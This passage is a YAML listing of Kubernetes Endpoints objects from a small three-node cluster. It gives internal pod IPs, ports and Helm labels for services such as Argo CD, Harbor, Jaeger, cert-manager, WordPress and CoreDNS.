      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-dex-server
    namespace: argocd
    resourceVersion: "18033580"
    uid: 78d52d0a-4bed-429a-a9f3-7f5922a9d93d
  subsets:
  - addresses:
    - ip: 192.168.61.199
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: argocd-dex-server-6559c6dd79-kk2j6
        namespace: argocd
        uid: 99a12250-7fd6-49d8-ad5a-6c581d694263
    ports:
    - name: grpc
      port: 5557
      protocol: TCP
    - name: http
      port: 5556
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:20Z"
    creationTimestamp: "2025-09-21T20:15:17Z"
    labels:
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-redis
    namespace: argocd
    resourceVersion: "18046330"
    uid: e8b9b72f-b2af-443a-b91b-5ed94dd2cc9b
  subsets:
  - addresses:
    - ip: 192.168.34.39
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: argocd-redis-946cd9d9f-j9nkk
        namespace: argocd
        uid: 2d1f1800-cb6f-4c7e-a628-910606365611
    ports:
    - name: redis
      port: 6379
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:30Z"
    creationTimestamp: "2025-09-21T20:15:16Z"
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-repo-server
    namespace: argocd
    resourceVersion: "18007924"
    uid: a82f0067-1e5d-4db7-98b7-b8c38c2f57d7
  subsets:
  - addresses:
    - ip: 192.168.133.181
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: argocd-repo-server-5c6559d6cd-m74c8
        namespace: argocd
        uid: 45f78b5e-ac50-4486-ac1e-b9ecb8fbcc46
    ports:
    - name: tcp-repo-server
      port: 8081
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:07Z"
    creationTimestamp: "2025-09-21T20:15:17Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-server
    namespace: argocd
    resourceVersion: "18034183"
    uid: bde252e6-5631-44ce-9983-7df7f2fc8dfa
  subsets:
  - addresses:
    - ip: 192.168.61.202
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: argocd-server-6475d67dbd-tk5kr
        namespace: argocd
        uid: c1aad999-5f09-4bf0-8a37-3c883ba424b9
    ports:
    - name: https
      port: 8080
      protocol: TCP
    - name: http
      port: 8080
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:46Z"
    creationTimestamp: "2025-10-19T12:06:46Z"
    labels:
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: wordpress-0.14.5
    name: artemis-wordpress
    namespace: artemis
    resourceVersion: "18008020"
    uid: b72c5a72-6024-4246-bd8b-6349e9e514ff
  subsets:
  - addresses:
    - ip: 192.168.133.130
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: artemis-wordpress-574d78556d-7zvkm
        namespace: artemis
        uid: 60e08890-423d-44c8-9915-f5addbb4e5c7
    ports:
    - name: http
      port: 8000
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:26Z"
    creationTimestamp: "2025-10-19T16:12:27Z"
    labels:
      endpoints.kubernetes.io/managed-by: endpoint-controller
      k8s-app: calico-kube-controllers
      service.kubernetes.io/headless: ""
    name: calico-kube-controllers-metrics
    namespace: calico-system
    resourceVersion: "18034306"
    uid: 3881c499-d863-46cb-a3d8-b9bd53c8488c
  subsets:
  - addresses:
    - ip: 192.168.61.235
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: calico-kube-controllers-d595576c-6vkn8
        namespace: calico-system
        uid: 743df39a-3ed7-44d0-8c17-3ec9be91acfa
    ports:
    - name: metrics-port
      port: 9094
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:46Z"
    creationTimestamp: "2025-10-19T16:12:26Z"
    labels:
      endpoints.kubernetes.io/managed-by: endpoint-controller
      k8s-app: calico-typha
    name: calico-typha
    namespace: calico-system
    resourceVersion: "18033422"
    uid: f0d6f9b8-3eb2-44f4-90e1-cb4c78dc4e61
  subsets:
  - addresses:
    - ip: 172.16.30.16
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: calico-typha-68b6598cf8-spshx
        namespace: calico-system
        uid: 2662d551-4bc6-48a9-abae-e00072c2e5ad
    - ip: 172.16.30.17
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: calico-typha-68b6598cf8-8hgmg
        namespace: calico-system
        uid: 35e5fbfb-0551-4ee7-b34d-b6c864ce3659
    ports:
    - name: calico-typha
      port: 5473
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:52Z"
    creationTimestamp: "2025-10-19T16:26:42Z"
    labels:
      endpoints.kubernetes.io/managed-by: endpoint-controller
    name: goldmane
    namespace: calico-system
    resourceVersion: "18046517"
    uid: 12bc969f-0cad-4579-b54c-0c61193a7961
  subsets:
  - addresses:
    - ip: 192.168.34.41
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: goldmane-74cb5d9557-hhnbv
        namespace: calico-system
        uid: 88f4e130-8c39-4315-bb8a-660ea0feb5df
    ports:
    - port: 7443
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:57Z"
    creationTimestamp: "2025-10-19T16:26:59Z"
    labels:
      endpoints.kubernetes.io/managed-by: endpoint-controller
    name: whisker
    namespace: calico-system
    resourceVersion: "18033635"
    uid: 4d0fbd56-a494-4013-9872-36ec1fa6f8ae
  subsets:
  - addresses:
    - ip: 192.168.61.194
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: whisker-796cf9b5d7-lfc95
        namespace: calico-system
        uid: d01ce624-9121-4a62-8456-fbf4cd4e35a4
    ports:
    - port: 8081
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:20Z"
    creationTimestamp: "2025-09-22T13:18:24Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager
    namespace: cert-manager
    resourceVersion: "18046320"
    uid: 64cca04c-c1be-4c19-a8d4-898307799df8
  subsets:
  - addresses:
    - ip: 192.168.34.46
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: cert-manager-58dd99f969-n4w2f
        namespace: cert-manager
        uid: 8d8d25e9-f4f9-4736-8cc2-2d42b148041c
    ports:
    - name: tcp-prometheus-servicemonitor
      port: 9402
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:21Z"
    creationTimestamp: "2025-09-22T13:18:24Z"
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-cainjector
    namespace: cert-manager
    resourceVersion: "18046343"
    uid: b6eba4e8-ce45-4843-ad01-8967309fe5c4
  subsets:
  - addresses:
    - ip: 192.168.34.44
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: cert-manager-cainjector-55cd9f77b5-7cj29
        namespace: cert-manager
        uid: 822d8b55-d277-4be6-95a7-02188b04a24f
    ports:
    - name: http-metrics
      port: 9402
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:14:17Z"
    creationTimestamp: "2025-09-22T13:18:24Z"
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook
    namespace: cert-manager
    resourceVersion: "18008218"
    uid: 6c710c6e-ad73-439e-84e3-6dc6b5db334f
  subsets:
  - addresses:
    - ip: 192.168.133.160
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: cert-manager-webhook-7987476d56-gsf9g
        namespace: cert-manager
        uid: 93218ca3-5988-49d4-b805-e3c818a77514
    ports:
    - name: https
      port: 10250
      protocol: TCP
    - name: metrics
      port: 9402
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      control-plane.alpha.kubernetes.io/leader: '{"holderIdentity":"nfs-subdir-external-provisioner-5545d686cd-hv7lv_cb6b1c68-10a0-49b7-b0c5-ee41a4f83072","leaseDurationSeconds":15,"acquireTime":"2025-11-29T14:22:51Z","renewTime":"2025-11-29T15:49:56Z","leaderTransitions":30}'
    creationTimestamp: "2025-09-26T00:42:59Z"
    name: cluster.local-nfs-subdir-external-provisioner
    namespace: default
    resourceVersion: "18062540"
    uid: f963b758-24c6-45cb-8776-7135fc69cf86
- apiVersion: v1
  kind: Endpoints
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      endpointslice.kubernetes.io/skip-mirror: "true"
    name: kubernetes
    namespace: default
    resourceVersion: "18045996"
    uid: c5b83b85-59d2-45b1-a7a4-7ddceb18b1d3
  subsets:
  - addresses:
    - ip: 172.16.30.16
    - ip: 172.16.30.17
    - ip: 172.16.30.18
    ports:
    - name: https
      port: 6443
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:32Z"
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: grafana-10.0.0
    name: grafana
    namespace: grafana
    resourceVersion: "18046401"
    uid: 23d3a969-d13e-4178-a1b7-f67101099d9b
  subsets:
  - addresses:
    - ip: 192.168.34.32
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: grafana-65fc6dbcff-qr6t9
        namespace: grafana
        uid: 19044b4a-a145-4779-87c3-efa7262683b0
    ports:
    - name: service
      port: 3000
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:26:04Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpoints.kubernetes.io/managed-by: endpoint-controller
      heritage: Helm
      release: harbor
    name: harbor-core
    namespace: harbor
    resourceVersion: "18046569"
    uid: 1c56691a-9d3a-4405-9dd2-462e469220c3
  subsets:
  - addresses:
    - ip: 192.168.61.221
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: harbor-core-84f58f6d9d-fck4m
        namespace: harbor
        uid: 7b4bc210-cf2c-4ae2-b60d-738a131dae7f
    ports:
    - name: http-web
      port: 8080
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:28Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpoints.kubernetes.io/managed-by: endpoint-controller
      heritage: Helm
      release: harbor
    name: harbor-database
    namespace: harbor
    resourceVersion: "18007900"
    uid: 843c7f53-956d-4d9d-81a6-49175cb632e3
  subsets:
  - addresses:
    - hostname: harbor-database-0
      ip: 192.168.133.136
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: harbor-database-0
        namespace: harbor
        uid: 581a45a9-3326-49f4-9747-0a3ce146d1c9
    ports:
    - port: 5432
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:27:58Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpoints.kubernetes.io/managed-by: endpoint-controller
      heritage: Helm
      release: harbor
    name: harbor-jobservice
    namespace: harbor
    resourceVersion: "18046946"
    uid: c691b148-f364-47a7-b376-e4b3dcbaa807
  subsets:
  - addresses:
    - ip: 192.168.61.244
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: harbor-jobservice-7d76588fb9-rn7vj
        namespace: harbor
        uid: 108af606-4d66-40f3-9737-52a63dfa51ad
    ports:
    - name: http-jobservice
      port: 8080
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:48Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpoints.kubernetes.io/managed-by: endpoint-controller
      heritage: Helm
      release: harbor
    name: harbor-portal
    namespace: harbor
    resourceVersion: "18034018"
    uid: 79fa23e7-e2ca-4529-8592-55998efaca14
  subsets:
  - addresses:
    - ip: 192.168.61.210
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: harbor-portal-864c6cd7-hzcjx
        namespace: harbor
        uid: c94e3a6a-73c0-49a5-99bf-e181eab93f31
    ports:
    - port: 8080
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:19Z"
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpoints.kubernetes.io/managed-by: endpoint-controller
      heritage: Helm
      release: harbor
    name: harbor-redis
    namespace: harbor
    resourceVersion: "18046296"
    uid: fe6b4f4b-a045-4ce5-8f94-a37fcf3b46cd
  subsets:
  - addresses:
    - hostname: harbor-redis-0
      ip: 192.168.34.33
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: harbor-redis-0
        namespace: harbor
        uid: 32c530e0-a630-449f-9bde-168bd606dfb3
    ports:
    - port: 6379
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:06Z"
    creationTimestamp: "2025-10-19T11:58:00Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpoints.kubernetes.io/managed-by: endpoint-controller
      heritage: Helm
      release: harbor
    name: harbor-registry
    namespace: harbor
    resourceVersion: "18033733"
    uid: 27832a2b-7e9d-43e8-a04c-9270339c0042
  subsets:
  - addresses:
    - ip: 192.168.61.223
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: harbor-registry-6f6b79b866-cgqvm
        namespace: harbor
        uid: 3aadb95d-f74e-435c-89a7-9055f4d9941f
    ports:
    - name: http-controller
      port: 8080
      protocol: TCP
    - name: http-registry
      port: 5000
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:29Z"
    creationTimestamp: "2025-10-19T11:58:00Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      endpoints.kubernetes.io/managed-by: endpoint-controller
      heritage: Helm
      release: harbor
    name: harbor-trivy
    namespace: harbor
    resourceVersion: "18007914"
    uid: 3ddbcd64-4968-4106-908f-1b175e55327c
  subsets:
  - addresses:
    - hostname: harbor-trivy-0
      ip: 192.168.133.133
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: harbor-trivy-0
        namespace: harbor
        uid: a70d7d44-1873-41a4-a0c7-82a19ebca811
    ports:
    - name: http-trivy
      port: 8080
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:05Z"
    creationTimestamp: "2025-10-19T12:11:19Z"
    labels:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: wordpress-0.14.5
    name: hera-wordpress
    namespace: hera
    resourceVersion: "18034165"
    uid: 420113b0-a63c-473f-afd8-db89e305a27c
  subsets:
  - addresses:
    - ip: 192.168.61.232
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: hera-wordpress-7f576688d9-bx44r
        namespace: hera
        uid: dfdaf2ae-dd7f-474e-91a5-463965d76c61
    ports:
    - name: http
      port: 8000
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:35Z"
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx-controller
    namespace: ingress-nginx
    resourceVersion: "18033903"
    uid: 370d0c90-96d2-4458-bfee-45f1281d1fa3
  subsets:
  - addresses:
    - ip: 192.168.61.234
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: ingress-nginx-controller-6b96cf684f-tfftb
        namespace: ingress-nginx
        uid: 5d0b1d6e-dc38-4c6f-b553-1d0150bad2dc
    ports:
    - appProtocol: https
      name: https
      port: 443
      protocol: TCP
    - appProtocol: http
      name: http
      port: 80
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:35Z"
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx-controller-admission
    namespace: ingress-nginx
    resourceVersion: "18033902"
    uid: e99b399d-584b-41d9-8abd-90f7027273dd
  subsets:
  - addresses:
    - ip: 192.168.61.234
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: ingress-nginx-controller-6b96cf684f-tfftb
        namespace: ingress-nginx
        uid: 5d0b1d6e-dc38-4c6f-b553-1d0150bad2dc
    ports:
    - appProtocol: https
      name: https-webhook
      port: 8443
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:19Z"
    creationTimestamp: "2025-10-19T15:15:44Z"
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-agent
    namespace: jaeger
    resourceVersion: "18046301"
    uid: 2727589c-56c0-4d27-8a75-5e1934264c9e
  subsets:
  - addresses:
    - ip: 192.168.133.134
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: jaeger-agent-zv7dg
        namespace: jaeger
        uid: bcf63259-64dc-4730-8aca-54eb9b32620a
    - ip: 192.168.34.42
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: jaeger-agent-n4rr4
        namespace: jaeger
        uid: 3283cb02-e116-4725-93d9-b4f57d4ddee5
    - ip: 192.168.61.207
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: jaeger-agent-2qptt
        namespace: jaeger
        uid: f0c32e9f-306d-4881-a949-c1fc6d08807f
    ports:
    - name: jaeger-binary
      port: 6832
      protocol: UDP
    - name: zipkin-compact
      port: 5775
      protocol: UDP
    - name: http
      port: 5778
      protocol: TCP
    - name: admin
      port: 14271
      protocol: TCP
    - name: jaeger-compact
      port: 6831
      protocol: UDP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:27:04Z"
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      app: cassandra
      app.kubernetes.io/managed-by: Helm
      chart: cassandra-0.15.3
      endpoints.kubernetes.io/managed-by: endpoint-controller
      heritage: Helm
      release: jaeger
      service.kubernetes.io/headless: ""
    name: jaeger-cassandra
    namespace: jaeger
    resourceVersion: "18046764"
    uid: f689a9ec-8e42-4b84-ae6f-cc2d56d578b2
  subsets:
  - addresses:
    - hostname: jaeger-cassandra-1
      ip: 192.168.133.186
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: jaeger-cassandra-1
        namespace: jaeger
        uid: 43d776b9-7f0a-4550-9f38-7e4dcf5ba9c3
    - hostname: jaeger-cassandra-0
      ip: 192.168.34.38
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: jaeger-cassandra-0
        namespace: jaeger
        uid: 8a71195c-a809-4718-b50b-b118647f9461
    - hostname: jaeger-cassandra-2
      ip: 192.168.61.254
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: jaeger-cassandra-2
        namespace: jaeger
        uid: 359eef19-5e11-4477-934d-40b457a435a8
    ports:
    - name: cql
      port: 9042
      protocol: TCP
    - name: tls
      port: 7001
      protocol: TCP
    - name: jmx
      port: 7199
      protocol: TCP
    - name: intra
      port: 7000
      protocol: TCP
    - name: thrift
      port: 9160
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:18:13Z"
    creationTimestamp: "2025-10-19T15:15:44Z"
    labels:
      app.kubernetes.io/component: collector
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-collector
    namespace: jaeger
    resourceVersion: "18009055"
    uid: b6d506f6-c5ca-4348-9cc8-f69c30ccae6d
  subsets:
  - addresses:
    - ip: 192.168.133.146
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: jaeger-collector-5b674d4987-h2655
        namespace: jaeger
        uid: f4755058-919b-4123-b33c-b357c30006e2
    ports:
    - appProtocol: grpc
      name: grpc
      port: 14250
      protocol: TCP
    - appProtocol: http
      name: http
      port: 14268
      protocol: TCP
    - name: admin
      port: 14269
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:18:10Z"
    creationTimestamp: "2025-10-19T15:15:44Z"
    labels:
      app.kubernetes.io/component: query
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-query
    namespace: jaeger
    resourceVersion: "18009037"
    uid: bc9d69e8-4db8-46de-9a54-3771eddfcb47
  subsets:
  - addresses:
    - ip: 192.168.133.151
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: jaeger-query-699bddc747-pm4nn
        namespace: jaeger
        uid: 442d9cd5-5710-4af6-ad7b-f7f2e262cf17
    ports:
    - name: grpc
      port: 16685
      protocol: TCP
    - name: admin
      port: 16687
      protocol: TCP
    - name: query
      port: 16686
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:21Z"
    creationTimestamp: "2025-09-21T11:09:25Z"
    labels:
      endpoints.kubernetes.io/managed-by: endpoint-controller
      k8s-app: kube-dns
      kubernetes.io/cluster-service: "true"
      kubernetes.io/name: CoreDNS
    name: kube-dns
    namespace: kube-system
    resourceVersion: "18046348"
    uid: 43a692e5-d56f-4e74-bf9d-e939042fa926
  subsets:
  - addresses:
    - ip: 192.168.133.157
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: coredns-674b8bbfcf-rh6tw
        namespace: kube-system
        uid: b47254e6-c898-4c8d-b218-5a2f937b69e5
    - ip: 192.168.34.43
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: coredns-674b8bbfcf-jjtjh
        namespace: kube-system
        uid: e3134089-14ed-444c-95f0-128f8d33c755
    ports:
    - name: dns-tcp
      port: 53
      protocol: TCP
    - name: dns
      port: 53
      protocol: UDP
    - name: metrics
      port: 9153
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:49Z"
    creationTimestamp: "2025-09-23T10:16:02Z"
    labels:
      app.kubernetes.io/component: api
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-api
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.13.0
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-api
    namespace: kubernetes-dashboard
    resourceVersion: "18033506"
    uid: 86e50646-9e5a-40ce-881d-7e8b4875a755
  subsets:
  - addresses:
    - ip: 192.168.61.225
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: kubernetes-dashboard-api-7ccd9b445f-vvzkr
        namespace: kubernetes-dashboard
        uid: e89b5586-e8a2-4656-b358-677f6568fd9e
    ports:
    - name: api
      port: 8000
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:24:37Z"
    creationTimestamp: "2025-09-23T10:16:02Z"
    labels:
      app.kubernetes.io/component: auth
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-auth
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.3.0
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-auth
